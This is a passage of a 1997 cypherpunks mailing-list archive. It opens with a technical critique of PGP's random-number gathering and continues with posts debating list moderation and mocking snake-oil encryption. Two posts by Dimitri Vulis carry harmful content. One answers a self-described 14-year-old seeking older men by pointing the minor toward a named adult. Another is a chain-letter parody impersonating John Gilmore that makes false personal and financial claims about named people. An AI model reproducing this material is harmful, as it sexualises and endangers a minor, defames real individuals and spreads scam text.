    previous case (it is measuring elapsed rather than process time), but it
    is totally correlated with the call of clock() already made, so it adds
    nothing new.

At the end of all this, in all the systems, it XOR-es in the actual key you
typed. This is good, but you likely only typed all lower-case letters, and
probably not many punctuation or control counters, but every little helps. The
bad news is that it still adds 4 bytes to randPool, even though only one byte
is provided (see trueRandEvent()). Surely it would have been better to add
just one byte here, at least to overcome the deficiency arising from the size
of the randPool not being a prime number. Alternatively, the procedure
randPoolAddBytes could have been made to discount any zero bytes at its most
significant end.

It will be seen that the only source of true randomness in all the systems
described above is the call labeled 'C.' in each case (also the actual key
struck). Everything else is more-or-less predictable FUD. This call measures
the instant at which each keystroke occurred (possibly modulo 1000000
microseconds) using as fine a tick size as the system affords. Where the call
gives a time in microseconds rather than a tick count (systems AMIGA and UNIX)
it endeavours to determine the ticksize by experiment. It usually
overestimates it (which is safe) because the length of the measuring loop is
longer that the ticksize (for example, on a SPARC1+ running Solaris2 it
computes a ticksize of 11 microseconds, whereas the true value is believed to
be 1 microsecond).

It now computes a time delta, modulo any computed ticksize, between this call
and the previous one. Now this is a truly random estimate of the time between
keystrokes but, oddly, this value is not incorporated into randPool (but it is
represented by the absolute time of the keystroke which is so included). Since
some systems (e.g. VMS and the ATARI) use an extremely coarse tick, this delta
may contain only a few bits; so the bits in the delta are counted, and it
carries on looking at keystrokes until the cumulative value of these bits is
equal to the length of the key being generated (plus a few extra random bits
needed for other purposes). But the maximum number of bits taken from any one
keystroke is 8, so with fast systems it always demands more keystrokes than it
truly needs.

I believe that when counting the bits in delta it counts one more than it
should (the most significant bit should not be included in the count in my
opinion, since it is by definition always '1', and only serves to tell how many
bits there are). Note also that the value of delta will have a minimum (it is
impossible for the time between two keystrokes to be absolutely zero), which
is a further reason to discount one bit when counting the bits of delta (see
trueRandEvent()).


Stirring
--------

Each time the randPool wraps around, and again at the end, it is "stirred"
(see randPoolStir()). Note that stirring is a completely deterministic
process, exactly repeatable on different systems (it even converts the entire
randPool to big-endian format and back again afterwards in order to ensure
this).

Its modus operandi is to encrypt the whole randPool using the MD5 algorithm
(that's the one used for generating signatures). That is why the length of the
randPool had to be a multiple of 128 bits. It starts from a zero key (I told
you it was going to be deterministic). By the time it has got to the end of
the randPool, the last bit deposited is a function of every preceding bit. It
then encrypts it all again, so that every bit in the new randPool now
potentially depends on every bit in the original randPool. If you start with
an empty randPool, it will now appear (to the naked eye) as a complete random
mess. If you start with a randPool containing just one bit, it will appear as
a different random mess.

Finally, it takes the first 128 bits of the new randPool as the starting key
for the next stirring.

Note that the purpose of stirring is not to generate extra randomness. It is
merely to redistribute the randomness that is already there (derived from your
keystrokes). So it matters not whether the randPool is completely filled by
your keystroking, nor that the two sets of 256 bits that you extract from it
in order to make your 512-bit key are not the actual bits that you randomly
generated. Every bit that you take out is affected by every random bit that
you put in (as well as by the many non-random, predictable bits that the UNIX
systems in particular insert). So it is still possible to generate each and
every one of the possible keys, even when starting from a known time of day
and a known number of ticks since boot time.


Conclusion
----------

So is it safe? The answer seems to be Yes.

But I would have been much happier to see a more straightforward system. It
took me three days and much work examining the operation of the program with a
debugger to convince myself that most of the information being put into
randPool was mere FUD, and to identify exactly where the true required number
of random bits was actually coming from. In view of the excellent performance
of randPoolStir(), I cannot see that any of the FUD serves any useful purpose.
Well, I can see a little merit in including the time and date just once, in
case any extremely regular typist manages to get EXACTLY the same intervals
between each keystroke during her interpretation of William Tell, or unless
some other flaw is found in the system (which is also why I would like to see
the wrap-around of the randPool a little less regular, as already mentioned).

So I have at last felt it safe to generate my PGP key. And as a final check
against any wily eavesdropper who may have been compiling a complete set of
all the popular 1024-bit keys (will the universe last long enough for him to
complete his task?) I have set my key length to 820 bits. How's that for
paranoia?


-- 
Charles H. Lindsey -------------------------------------------------------------
           At Home, doing my own thing.           Internet: chl@clw.cs.man.ac.uk
Voice/Fax: +44 161 437 4506                       Janet:    chl@uk.ac.man.cs.clw
Snail: 5 Clerewood Ave., CHEADLE, SK8 3JU, U.K.   UUCP:     mucs!clerew!chl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 10 Jan 1997 19:25:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D707A2.5410@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
> 
> On Mon, 6 Jan 1997, Dale Thorn wrote:
> 
> > 1. Sandfort is the person who would never drop an argument, no matter
> >    how long, until he had the last word.  I know since I went rounds
>
> Sandfort isn't the only one who will do this, there will be a pool of
> moderators. Regardless of your personality conflict, I am sure that Sandy
> will remain fair and allow appropriate posts from you through. i.e.
> anything to do with crypto. :)

Come on, the de facto topics of this list aren't limited to crypto.

I'd just like to say that as disgusting as I find most of Dale's posts,
I consider almost all of them appropriate for the list.

[The referenced post isn't one of them, of course.]

Is the goal really to be a "best of cypherpunks," or is it just to cut out the 
most inane trolling (of which there is a lot)? While I'd classify Dale's posts 
as among "worst of cypherpunks," IMO they are all at least *of* cypherpunks.

I would not favor a moderation policy that gave carte blanche to "good guys" 
to talk about whatever they wanted ("libertarian bullshit" in Chudov's 
delicate phrasing), but required posts by "bad guys" like Dale (and in certain 
threads, me -- you never know) to be "about crypto." That's a hypocritical 
double standard.

I just want the complete crap out of the way. I was envisioning a mostly 
unfiltered cypherpunks where the traffic level remained so high that the 
filtered "best of" lists like fcpunx were still in demand.

Of course, I'm reading cypherpunks only a couple times a day via nntp, so I'm 
more tolerant of nonsense than people who want to follow the list as an email 
list. To those people I'd say sorry, but cryptography@c2.net is available. But 
I'm only one voice; the moderators can do whatever they want.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 10 Jan 1997 17:35:53 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <199701101717.JAA31508@slack.lne.com>
Message-ID: <32D708A6.4B15@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:
 
> Unfortunately for you, the way you are announcing and promoting your
> program makes it could like cryptographic snake oil.  Posting
> such announcements to the cypherpunks list is a good way to get flamed.
> Perhaps you should have posted to alt.biz.multi-level, where the
> threshold of credulity is much higher.

  I suppose that after moderation begins, we will miss DataETRetch's
next big update, since they will take your suggestion to heart
and title their next posting, "Make Big Cryto$$$".

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clint Barnett <cbarnett@eciad.bc.ca>
Date: Fri, 10 Jan 1997 19:38:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: nice work
Message-ID: <Pine.SGI.3.91.970110193238.26380P-100000@oswald>
MIME-Version: 1.0
Content-Type: text/plain



no doubt everybody on the list recieved a spam about some personalised 
children's books. Having been away or a few weeks, I only just today got 
to replying to that message. I recieved a response indicating that my 
response was undeliverable due to the mailbox being full. I just wanted 
to say that I'm glad I'm not the only one who can't stand that crap. Nice 
work.

clint barnett
lord of the cosmos
emily carr institute





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 10 Jan 1997 20:18:02 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: A vote of confidence for Sandy
Message-ID: <3.0.32.19970110201859.006d14bc@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 07:14 PM 1/10/97 -0500, Ray Arachelian wrote:
>Sandfort isn't the only one who will do this, there will be a pool of 
>moderators. Regardless of your personality conflict, I am sure that Sandy 
>will remain fair and allow appropriate posts from you through. i.e. 
>anything to do with crypto. :)

Just for the record, I have volunteered to serve as a co-moderator. I do
not know at this time if my services will be required. I am certain that I
would not enjoy this job. I have better things to do than moderate
Cypherpunks. But as a long time subscriber, I care about the list. I see
only one alternative to moderating Cypherpunks. And that is shutting it
down to let other lists pick up the various parts of the discussion. Hard
core crypto can go to Coderpunks, crypto and politics can go to
Cryptography. The drivel and whining can go to hell. I am willing to give
the moderation experiment a chance. If it doesn't work, I will advocate
shutting down the list.

As with every TAZ that stays up for too long, Cypherpunks eventually got
infested by vermin. Vulis, aga, et al. come to mind. In my experience, once
that happens there is only one solution: take down the TAZ and start over
somewhere else. The problem is always the same: the belief that "anarchy"
means that you have to tolerate people shitting on everybody's floor.
Anarchy means no such thing.

[Since I filter on Vulis and aga in the body text of all incoming email, I
am unlikely to read any replies to this post. Of course, if I was to serve
as a co-moderator, I would read all messages and decide on them individually.]

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Burrell <jburrell@crl.crl.com>
Date: Fri, 10 Jan 1997 19:07:52 -0800 (PST)
To: Sandy Sandfort <sandfort@mail.crl.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.91.970108182540.10276A-100000@crl10.crl.com>
Message-ID: <Pine.LNX.3.95.970110210511.9332C-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997, Sandy Sandfort wrote:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Wed, 8 Jan 1997 ichudov@algebra.com wrote:
> 
> > Sandy Sandfort wrote:
> 
> > > Truth (and relevance) are a defense.  :-)
> > 
> > If your approval is your certification of truthfulness of articles,
> > you might be held liable for libel. Is that correct?
> 
> Gosh, I hadn't thought about that.  Maybe I should reconsider
> this whole crazy idea.

Call me crazy, but is there any way to set up an anonymous moderator
scheme? The messages hit toad.com, and are forwarded via the remailer
network to someone. The actual moderator can change from time to time. 
Only posts that aren't "preapproved" are actually forwarded to the
moderator. The moderator approves the postings by signing them with a PGP
key. It's then sent back through the network to another address at
toad.com, and passed on to the list members. 

Or does this just put toad.com in hot water?

--
Good government. Good government. Sit. Stay.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 19:20:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: would you be my friend?
In-Reply-To: <Pine.3.89.9701101253.A11382-0100000@netcom17>
Message-ID: <3Pic1D48w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Z.B." <zachb@netcom.com> writes:

> On Fri, 10 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > dozer@netwizards.net writes:
> >
> > > Hello,
> > >
> > > I'm 14 years old and I think I may be a gay.  I'm looking for some suppor
> > > with a older male age 18-40.  Please email if you can help.
> > >
> >
> > I'm sure you'll make lots of friends on the cypherpunks mailing list.
> >
> Looks like he's already made one.

Dozer,

John Gilmore is 58 - would you consider a MUCH older man?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 19:51:06 -0800 (PST)
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <199701110345.VAA02052@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ray Arachelian wrote:
> On Mon, 6 Jan 1997, Dale Thorn wrote:
> > 2. The only possible scheme that could work long-term would be a moderated
> >    list plus a deleted (excised?) list of posts which didn't make the
> >    moderator's cut. Having a moderated list and a full unmoderated list
> >    is certain to fail, and I'm not too sure that they don't have this in
> >    mind already.
> 
> What makes you say that there is only one scheme that can succeed?  Why is
> having a moderated list and an unmoderated list bound to fail?  The plan
> actually (unless it changed without my knowlege) is to have 3 lists.  1
> moderated, 1 rejects, 1 unmoderated.  This can be optimized as 1 moderated
> and 1 rejects as you propose, since asking for all is the same as asking
> for moderated+rejects. 

Does not the moderated list, moderated by YOU, already exist? 

I am confused.

	- Igor.

> > 3. Not making the unmoderated list first-up (i.e., cutting posts first,
> >    then making the "full" list available later) is suspicious, or at
> >    least a bad idea.
> 
> What difference does it make if a message is delayed for 10-30 minutes?  
> Why is it a bad idea or suspicious?  If you post something and it doesn't 

It is indeed suspicious because it raises a possibility of
concealed human involvement.

> The point was to optimize the sendmail to send moderated messages first.

What does that optimise if there is a more or less continuous traffic?

That's a non-answer.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 19:51:23 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Re: encryption program
In-Reply-To: <970110173818_1890890811@emout17.mail.aol.com>
Message-ID: <199701110346.VAA02065@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


DataETRsch@aol.com wrote:
> 
> Was your anaylsis for IMDMP or another algorithm?
> 
> Jeremy...
> President
> DataET Research
> Data Engineering Technologies
> 

For another encryption program. As soon as you release IMDMP's
algorithm, someone may be interested to do the same thing with it.

That may prove interesting.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 20:14:59 -0800 (PST)
To: markm@voicenet.com (Mark M.)
Subject: Re: encryption program
In-Reply-To: <Pine.LNX.3.95.970110160940.705A-100000@eclipse.voicenet.com>
Message-ID: <199701110410.WAA02230@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mark M. wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Fri, 10 Jan 1997, Igor Chudov @ home wrote:
> 
> > I just wrote a little c program for frequency analysis, but would
> > also be interested if such set of tools existed.
> 
> There are several tools for cryptanalyzing simple ciphers at ftp.ox.ac.uk/pub/
> crypto/cryptanalysis and ftp.replay.com/pub/crypto/applied-crypto .  There
> is also elisp code distributed with emacs that can solve a substitution
> cipher.

Mark -- do you know what are the relevant file names?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 10 Jan 1997 22:16:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Comments on moderation
Message-ID: <3.0.1.32.19970110215712.0132d100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


I have been reading the comments on moderation and I have a few comments on
it...

I would like to see moderation, but only for those things that filters
cannot handle effectivly.

1) The Spam that has been flooding the list.  It looks like someone has an
axe to grind against the list or certain people on it, so they are doing
their best to disrupt it.  The spam is only part of that attack.  It should
be dealt with as any other denial of service attack.

2) The anonymous flames against Tim May (or anyone else for that
matter...).  These messages contain no useful content.  They only serve to
allow certain overgrown juviniles to vent against people they dislike.

Killing the above would greatly improve the quality of the list. The rest
can be killed by filters.

As for the people who are crying "censor", I have seen little evidence that
the doom they predict is going to happen.  (I think that they revel in the
idea that they are the "persecuted masses" who are being hassled by "the
man".)  I have been on this list for a number of years.  (Since at least
1994, maybe earlier than that...) Sandy has been one of the more rational
voice on the list in that time and he has been here longer than I have.  (I
have not always agreed with him, but then again, I can think of no one that
I would agree with 100%.  Even myself...)  Hopefully the criteria used for
moderation will not be so heavy handed that the list becomes bland and
tasteless (like a high school textbook from Texas).

Just my $0.00002 worth...


---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 10 Jan 1997 22:13:50 -0800 (PST)
To: Lucky Green <sandfort@crl.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970110201859.006d14bc@192.100.81.126>
Message-ID: <v03007806aefcde0a5a6a@[205.186.122.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:19 PM -0800 1/10/97, Lucky Green wrote:
>Just for the record, I have volunteered to serve as a co-moderator. I do
>not know at this time if my services will be required. I am certain that I
>would not enjoy this job. I have better things to do than moderate
>Cypherpunks. But as a long time subscriber, I care about the list.

AMEN (as a short time subscriber).

If you need me as a moderator (if you need me, you are getting very
desperate), I will help.  However, I am going out of the country in two
weeks not to return until March 9, so stepping forward now is a bit silly.

Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
software lets people like Matt Blase and Bruce Schneier post whatever they
want.  (I would add people like Black Unicorn as well.  YMMV)  Other posts
go into a pool accessible to all moderators.  If one moderator approves,
the message goes out.  If N reject, it is rejected.  These rejections could
either be anonymous or be included in an x-moderators-rejecting: header for
the "worst of cypherpunks" list.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: my-yahoo@yahoo.com
Date: Fri, 10 Jan 1997 22:35:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: my yahoo! registration confirmation
Message-ID: <199701110635.WAA20002@e3.my.yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain


your login name is      cypherpunks
your e-mail address is  cypherpunks@toad.com

please save this message for future reference.

welcome to my yahoo!...
you can return to my yahoo! by going to
		http://my.yahoo.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 10 Jan 1997 22:48:24 -0800 (PST)
To: Bill Frantz <sandfort@crl.com>
Subject: Re: A vote of confidence for Sandy
Message-ID: <3.0.32.19970110224930.006d114c@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 10:16 PM 1/10/97 -0800, Bill Frantz wrote:
>At 8:19 PM -0800 1/10/97, Lucky Green wrote:
>>Just for the record, I have volunteered to serve as a co-moderator. I do
>>not know at this time if my services will be required. I am certain that I
>>would not enjoy this job. I have better things to do than moderate
>>Cypherpunks. But as a long time subscriber, I care about the list.
>
>AMEN (as a short time subscriber).
>
>If you need me as a moderator (if you need me, you are getting very
>desperate), I will help.  However, I am going out of the country in two
>weeks not to return until March 9, so stepping forward now is a bit silly.
>
>Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
>software lets people like Matt Blase and Bruce Schneier post whatever they
>want.  (I would add people like Black Unicorn as well.  YMMV)

Yes. Igor's STUMP software seems like the way to go. The vast majority of
posters to this list are not a problem. Discussions amongst them may get
heated, but they have basic human decency and never even come close to the
level of abuse and bigotry we have seen from Vulis, aga, et al. 

Igor claims that on lists moderated by STUMP, 95% of the people are
pre-approved. I believe it. Because 95% of the posters are not a problem.
It is a small part of the other 5% that fuck things up. I second Sandy and
John's proposal to moderate Cypherpunks. I propose we use Igor's STUMP
software for this purpose, iff it performs as claimed.

[Does STUMP have a web interface?]

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: donaldo <bogart@mps.com.mx>
Date: Fri, 10 Jan 1997 22:26:37 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: subscription request to mailing list
Message-ID: <01BBFF56.DA8A7D00@bogart.mpsnet.com.mx>
MIME-Version: 1.0
Content-Type: text/plain


please enroll me on your mailing list.


Thank You.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 11 Jan 1997 00:41:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
Message-ID: <3.0.32.19970111003625.0069d61c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:49 PM 1/10/97 -0800, Lucky Green wrote:
>Yes. Igor's STUMP software seems like the way to go. The vast majority of
>posters to this list are not a problem. Discussions amongst them may get
>heated, but they have basic human decency and never even come close to the
>level of abuse and bigotry we have seen from Vulis, aga, et al. 

I think that the move to human moderation is a good thing, and am pleased
that Sandy will shortly begin to act as moderator.

However, I think that forming lists of "approved people" and "unapproved
people" and treating them differently is likely to do more harm than good,
even if we have nice software which does it very efficiently. I don't like
it for several reasons:

1.	Political. It's symbolically disturbing, and it tends to shift the focus
of the group (and of the moderation process) away from messages, and
towards the people who post them. I think it'd be tempting to turn it into
some sort of bureaucratic system, with punishments (being on the bad list)
and rewards and status changes and written warnings and all of the other
features which frequently bring out the worst in people. I suspect that
agreeing on "the 10 people who are clearly a problem" will turn out to be
as difficult as finding any 10 things that cypherpunks can agree on, and
then we've got to decide who decides who's a problem, and then we've got to
decide how we decide things, and argue about whether or not John Gilmore is
a good person, and [...]

2.	Technical. It requires that the people on the "good list" authenticate
their messages (otherwise people will post with the names of "good people"
to avoid moderation), which imports a lot of hassle with different
platforms and signing and certification and key distribution and [...]
which we don't have good solutions for yet.

3.	 Conceptual. It's a complex problem technically and politically, which
means that it's difficult to understand or debug, and it's got a lot of
points of failure. In general, complex solutions (which require many people
to install and learn new software) are difficult to implement, take longer
than anticipated, and are frequently avoided by the people they're
supposedly helping. (See, e.g., RISKS Digest; both for how a
human-moderated list can work nicely, and for examples of how complex
technical solutions to problems often create more or worse problems than
they solve.)

I think that the human moderator solution suffers less from these problems;
in general, it's a well-tested solution to the "what about off-topic
assholes?" problem. It's not perfect, but it does work, more or less; it's
easy to understand, easy to implement, and requires no software changes on
the users' end.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 10 Jan 1997 22:50:57 -0800 (PST)
To: joelm@eskimo.com (Joel McNamara)
Subject: Re: Private Idaho source code now available
In-Reply-To: <3.0.32.19970110072140.00d1320c@mail.eskimo.com>
Message-ID: <199701110706.BAA00685@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
> and remailer utility, is now available.  This will be my last official
> release of PI for the foreseeable future.
> Due to other projects and new directions, I haven't been able to spend as
> much time as I'd like coding and supporting Private Idaho.  Instead of
> seeing it die on the vine, I've decided to release the source code under
> the GNU General Public License (export disclaimer - the sources do not
> include, or have ever contained, cryptographic algorithms).

     I don't use, nor have I ever used your software, but thank you for 
writing it, and even more for releasing it.

Petro, Christopher C.
petro@suba.com <prefered for any non-list stuff>
snow@smoke.suba.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 10 Jan 1997 22:53:58 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: DES 128
In-Reply-To: <970110173243_2022167725@emout04.mail.aol.com>
Message-ID: <199701110709.BAA00702@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> DES 128 is a cloned version of the original DES.
> 
     Put the crack pipe down and back away slowly. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 23:23:08 -0800 (PST)
To: frantz@netcom.com (Bill Frantz)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <v03007806aefcde0a5a6a@[205.186.122.248]>
Message-ID: <199701110718.BAA03084@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bill Frantz wrote:
> 
> At 8:19 PM -0800 1/10/97, Lucky Green wrote:
> >Just for the record, I have volunteered to serve as a co-moderator. I do
> >not know at this time if my services will be required. I am certain that I
> >would not enjoy this job. I have better things to do than moderate
> >Cypherpunks. But as a long time subscriber, I care about the list.
> 
> AMEN (as a short time subscriber).
> 
> If you need me as a moderator (if you need me, you are getting very
> desperate), I will help.  However, I am going out of the country in two
> weeks not to return until March 9, so stepping forward now is a bit silly.
> 
> Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
> software lets people like Matt Blase and Bruce Schneier post whatever they
> want.  (I would add people like Black Unicorn as well.  YMMV)  Other posts
> go into a pool accessible to all moderators.  If one moderator approves,
> the message goes out.  If N reject, it is rejected.  These rejections could
> either be anonymous or be included in an x-moderators-rejecting: header for
> the "worst of cypherpunks" list.

I think that Bill proposes a very interesting idea. His suggestion would
eliminate a lot of [well-grounded] suspicion about arbitrary rejections
at a "whim" of moderators.

My only concern is that there will be more work for moderators, because
in his scheme each "bad" message has to be reviewed by N people instead
of 1.

It is a tradeoff between a more liberal policy and efficient use of
moderators' time.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 23:21:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: $$$ MAKE.MONEY.FAST with the new Cypherpunk PGP MLM $$$
Message-ID: <H6Tc1D55w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Fellow Debtor:

Hello!  Would you like to make thousands of dollars, quickly, legally,
with NO CATCH?  Then keep reading....please take five minutes to read
this article it will change your life, just like it did mine.  It's
true!  You can make up to or over $50,000 dollars in 4-6 weeks, maybe
sooner!  I SWEAR IM NOT LYING TO YOU, AND THIS IS NOT A SCAM!  If you're
interested, keep reading; if you're not, I apologize for wasting your
time.

My name is John Gilmore. A little while ago, my life was miserable. In
September 1995 my car was repossessed and the bill collectors were
hounding me like you wouldn't believe. I was laid off and my unemployment
checks had run out. I had just moved in with my lover High and we were
$95,000 in debt! I couldn't make the payments and the bank repossessed my
car. I remember the day my lover Hugh phoned me, crying. The landlord had
shown up at the house with an eviction notice because we hadn't paid the
rent in three and a half months. We stayed at our relatives until we found
a new apartment that we could afford. Talk about embarrassing! My life
sucked, and it seemed to be getting worse every day. The only escape I had
from the pressures of failure was my computer and my modem. I longed to
turn my avocation into my vocation.

Things are different now. In January 1997 my boyfriend and I went on a
ten day cruise to the tropics. I bought a brand new Lincoln Town Car
with CASH in December 1996. I am currently building a new home in
Sausalito, with a private pool, boat slip, an a beautiful view of the
bay from my breakfast room table and patio. I will never have to work
again. Today I am RICH! I have earned over $800,000.00 (Eight Hundred
Thousand Dollars) to date and will become a millionaire within 4 or 5
months. Anyone can do the same. I own and rent out three large homes in
San francisco. My own house is worth over $450,000. My lover drives a
Mercedes and I drive a Porsche. I have more money in the bank than I
think I could ever spend! When I buy something I always pay cash, and
let me tell you, it's a powerful feeling to finally have control of my
life. I have no financial worries anymore. I couldn't ask to be happier.
My life is perfect!

Best of all, I have time to enjoy life. No more 50 and 60 hour weeks,
working two jobs, just trying to pay the bills. No more fighting with my
lover from the stress of never having enough money for grocieries. I
work about three hours a day. The rest of the time is left to have fun,
to do the things I really love. I finally have time to spend with my
family. That's better than all the money in the world! My favorite thing
is to go on picnics with my boyfriend I also like to travel. My lover
and I just got back from a three week second honeymoon in Cancun.

I'm not tryng to brag or impress you with my wealth. What I'm trying to
do is prove to you that if I wasn't lucky enough to have learned about
PGP that day, I would still be poor, probably bankrupt. It was only
because of that amazing money-making encryption program that I was able
to become debt free, and very wealthy. I hate to think of where my
boyfriend and I would have been today."

It works because of basic mathematical and statistical principles. This
process is somewhat similar to a pyramid process, only bigger and
broader. It is definitely more profitable for all who participate.

This money-making program works perfectly every time, 100% of the time.
I have NEVER failed to earn $50,000.00 or more whenever I wanted. Best
of all, you never have to leave home except to go to your mailbox or
post office.

Follow these instructions exactly and you could make $100,000 in the
next 30 days. This program REALLY works. It makes money for those who
use it honestly! Take the time to read it COMPLETELY!

First of all, yes, this is another one of those "let's try to make some
easy money fast" things that you often see on the NET. If you wish to
find out more and possibly participate, read on. If you do not believe
in this sort of thing, please move on to the next post - BUT DO NOT
FLAME ME FOR "ABUSE" OF THE NET. Fact is, this wonderful electronic
world is for the exchange of ideas and experimentation, so why not try
something new? Mathematically it works out, so it is all up to your
honesty.

This is no scam. It is perfectly legal. Forward this around to all of
your friends. Tell them to get involved too.

I know, ordinarily, we disregard these letters because they usually
don't work like they are supposed to, but this ONE is DIFFERENT!

Ray Arachelian used this legal program last year and made $82,360 in
cash the first time he used it. Needless to say, he quit his job at
Earthweb LLC immediately paid off all debts in full, and started another
mailing.

Believe me, this is an EASY opportunity. You can do this all on your
computer, by "JUST PRESSING A FEW BUTTONS". You will EASE YOUR FINANCIAL
PRESSURES, and begin to make GOOD things happen for you and your family.

Knowing public key cryptography changed my life completely. It brought
me success, wealth, happiness, anonymity, freedom and time to be with my
friends who I love. But most importantly, it gave me peace of mind. This
MLM will change your life, too! It will give you everything you need and
allow you to solve ALL your money problems. Of course, you don't have to
take my word for it. You can try it out for yourself.

This is going to sound like a con, but in fact it works! The person who
is now #3 on the list was #4 when I got it, which was only a few days
ago. Five dollars is a small investment in your future. Forget the
